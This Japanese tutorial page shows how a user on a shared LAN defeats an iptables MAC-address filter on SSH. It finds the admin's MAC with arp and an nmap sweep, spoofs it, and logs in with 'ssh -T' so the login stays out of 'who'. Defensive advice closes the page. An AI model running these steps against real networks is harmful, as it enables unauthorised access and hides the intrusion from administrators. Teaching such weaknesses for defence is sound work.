Linux Lovers
    Fedora Coreで始めるサーバ構築

Home > セキュリティ対策 > MACアドレス偽装

MACアドレス

ここでは、MACアドレスを偽装することにより、MACアドレスで接続の制限をしているホストに
接続する手法を紹介します。

MACアドレスとは、NICに割り振られる固有のID番号であり、重複する事は無く、
そのNICに割り振られたMACアドレスは世界で1つの番号になります。
MACアドレスは、ifconfigコマンドなどを打てば、確認することが可能です。

例えば、eth0のMACアドレスを調べたい場合は、以下のようにします。

# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:01:80:00:00:00
          inet addr:192.168.1.50  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3456 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3992 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:379308 (370.4 KiB)  TX bytes:422336 (412.4 KiB)
          Interrupt:10

HWaddrという部分に00:01:80:00:00:00というような、48ビットのアドレスがあります。
これがこのeth0のNICのMACアドレスになります(MACアドレスは実際のものでは無く、変更してあります)

MACアドレスはユニークなものです。なのでMACアドレスで制限をかけるのは非常に良い
アクセス制限の方法に思えます。しかし、そんなMACアドレスで接続の制限をしているホストに
接続してしまう方法を以下で紹介します。



MACアドレスを偽装する

先ず、MACアドレスによる制限をかけているサーバのファイアウォールスクリプトを以下に示します。

#!/bin/sh

IPTABLES='/sbin/iptables'
/etc/init.d/iptables stop

$IPTABLES -P INPUT DROP
$IPTABLES -P FORWARD DROP
$IPTABLES -P OUTPUT DROP

$IPTABLES -A INPUT -i lo -j ACCEPT
$IPTABLES -A OUTPUT -o lo -j ACCEPT

#
# INPUTチェイン
#
$IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p tcp --dport 22 -m state --state NEW -m mac --mac-source 00:11:22:33:44:55 \
-j ACCEPT

$IPTABLES -A INPUT -p tcp --dport 113 -j REJECT --reject-with tcp-reset

#
# OUTPUTチェイン
#
$IPTABLES -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A OUTPUT -m state --state NEW -j ACCEPT

INPUTチェインの22番(SSH)の記述のところに、-m mac --mac-source 00:11:22:33:44:55とあります。
これにより、MACアドレスが00:11:22:33:44:55のマシンのみが、このサーバのSSHに接続できるのです。

それでは、MACアドレス偽装による接続方法を紹介します。
先ずは、このお話の背景を紹介し、その後で攻略を開始します。気軽に読める感じに仕上げてみました。

−背景−
LAN上にはサーバが1台有り、このサーバは管理者がSSHで接続することによって管理している。
この管理者は、自分のマシン以外がサーバのSSHに接続できないようにする為に、上のファイアウォール
スクリプトを使いMACアドレスによる制限を施している。

ここで同じLAN上に、悪戯好きなユーザが居る。名前はchibiとでもしておきます。
chibiは、このSSHがMACアドレスで制限されていることだけは知っています。
このchibiがサーバのSSHに、自分のマシン(Linux)から接続するまでの流れをお話します。


−攻略開始−
chibiは先ず次のように考えます。
「管理者は、MACアドレスで制限をすることによって、自分以外は絶対にサーバのSSHに
接続することはできないと思い込んでいる。きっと、ユーザの作成は全てログイン可能な
シェルを指定しているに違い無い。ちょいとMACアドレスを偽装して接続して、
chibiで堂々とログインしてやるかな・・・」

管理者の使用しているマシンに割り振られているIPアドレスは知っている。確か、192.168.1.15だ。
192.168.1.15宛てにpingを発射し、MACアドレスを確認する作業に入る。

[root@chibi ~]# ping -c 4 192.168.1.15
PING 192.168.1.11 (192.168.1.15) 56(84) bytes of data.
64 bytes from 192.168.1.15: icmp_seq=0 ttl=64 time=0.874 ms
64 bytes from 192.168.1.15: icmp_seq=1 ttl=64 time=0.170 ms
64 bytes from 192.168.1.15: icmp_seq=2 ttl=64 time=0.171 ms
64 bytes from 192.168.1.15: icmp_seq=3 ttl=64 time=0.170 ms

--- 192.168.1.15 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 0.170/0.346/0.874/0.304 ms, pipe 2

[root@chibi ~]# arp -a
admin (192.168.1.15) at 00:11:22:33:44:55 [ether] on eth0

これで、管理者のPCのMACアドレスが確認できた。00:11:22:33:44:55だ。
きっとこのMACアドレスからのみで制限をかけているに違い無い。

そうそう、ここでは管理者の使用しているPCに割り振られているIPアドレスが分かっている状態だけど、
分からなくてもMACアドレスを割り出す事は可能だ。pingスイープを実行して、LAN上の
ホスト全てを確認してしまえばいい。

[root@chibi ~]# nmap -sP -PI 192.168.1.0/24
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-06-17 18:45 JST
Host 192.168.1.0 appears to be up.
MAC Address: AA:BB:CC:DD:EE:FF (Cisco.)
Host 192.168.1.1 appears to be up.
MAC Address: AA:BB:CC:DD:EE:FF (Cisco.)
Host server (192.168.1.11) appears to be up.
MAC Address: 01:22:44:AA:11:44 (AOpen)
Host admin (192.168.1.15) appears to be up.
MAC Address: 00:11:22:33:44:55 (NEC)
Host otaku (192.168.1.17) appears to be up.
MAC Address: 11:44:22:55:AA:BD (DELL)
Host chibi (192.168.1.50) appears to be up.
・・・省略・・・
Nmap run completed -- 256 IP addresses (6 hosts up) scanned in 4.297 seconds


この中から、管理者のMACアドレスを確認するのはかなり骨が折れるが、
でもきっと、adminとかゆーホスト名の192.168.1.15が管理者のPCに違い無い。
ついでに192.168.1.11がサーバだろう。

次にMACアドレスの偽装に入る。今現在のchibiのMACアドレスは以下のようになっている。

[root@chibi ~]# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:01:80:00:00:00
          inet addr:192.168.1.50  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3456 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3992 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:379308 (370.4 KiB)  TX bytes:422336 (412.4 KiB)
          Interrupt:10


MACアドレスは、00:01:80:00:00:00だ。これを00:11:22:33:44:55に変更できれば、
SSHに接続できるはずだ。

よくMACアドレスはユニークなものって思われている。確かにユニークではあるけど、
これは簡単に偽装することができる。以下の方法で偽装してみる。

[root@chibi ~]# ifdown eth0
[root@chibi ~]# ifconfig eth0 hw ether 00:11:22:33:44:55
[root@chibi ~]# ifup eth0


この後で、もう1度MACアドレスの確認をしてみる。以下のように変更されているはずだ。

[root@chibi ~]# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:11:22:33:44:55
          inet addr:192.168.1.50  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:122 errors:0 dropped:0 overruns:0 frame:0
          TX packets:148 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13396 (13.0 KiB)  TX bytes:14802 (14.4 KiB)
          Interrupt:10


以上で、MACアドレスの偽装は完了だ。これでSSHサーバへの接続が可能になる。

[root@chibi ~]# ssh -T chibi@192.168.1.11 bash -i
chibi@server's password:
[chibi@server ~]$


ここでのssh接続には、-Tを使った。これはwhoコマンドを使用しても接続していることが
バレないようにする為のオプションだ。


以上が、MACアドレス偽装によって、MACアドレス制限を突破する方法です。



>>このページのTOPへ

まとめ

今回のポイントは何と言っても、MACアドレスの認識です。ネットワーク関連の本を見ると、
「MACアドレスは固有なアドレスで、そのアドレスは世界で1つだけのもの」というような感じで
書かれています。確かに正解です。ただ、余計な勘違いが無いように簡単に偽装することができる
ことを付け加えておく必要があると思います。

今回のケースでは、管理者はMACアドレスがユニークなものという事を強く意識していたせいで
失敗したと思われます。確かに接続できるホストの制限をするのに、MACアドレスを指定するのは
良い方法だと思います。しかし、それだけで安心してはいけません。今回のケースでは、
自分以外がSSHに接続することが無いということから、他のユーザはログインさせる機会も少ない
(もしくは全く無い)と考えられます。このような場合には、他のユーザにはダミーのシェルを使用する
ことによって、ログインできないようにすることをお勧めします。

例えば、ログインさせたくないユーザには、/bin/false/sbin/nologinなどのシェルを指定します。
これによりログイン不可なユーザの出来上がりです。また、一時的にログインさせなくすることも
可能です。ユーザの管理については、当サイトでは以下で紹介してますので、参考にしてみてください。
→ ユーザの管理

また、もう1つ問題点はありました。
それは、chibiユーザが何故かMACアドレスで制限されていることを知っているということです。
どのようなセキュリティでサーバが守られているかは、関係無い人には知らせてはいけない情報だと言えます。
このちょっとした事から今回の事故が発生しています。このMACアドレスでアクセス制限しているという
情報は、一般ユーザにしてみれば、「ちゃんとアクセス制限してて管理者は偉いな・・・」などという
感じになるかもしれませんが、攻撃者にとってみれば、非常に有益な情報となりえます。
これによって、どのような攻撃を試みるか決まるからです。

あと覚えておいて役に立つのは、最後のSSHへの接続の仕方です。
このように接続することで、whoコマンドを打っても、ログインしていることが表示されません。
管理者が気晴らしにwhoコマンドを実行して、意味不明なユーザがログインしていたなんて
ことが早期発見されないようにする為、このように接続することが大事です。



>>このページのTOPへ

最終更新 : 06/19/2005


Fedoraの設定    SSH    Web    Mail    FTP    DNS    ファイルサーバ    運用管理    システム管理    ネットワーク    セキュリティ対策
Copyright (C) 2004-2007 chibi ,All Rights Reserved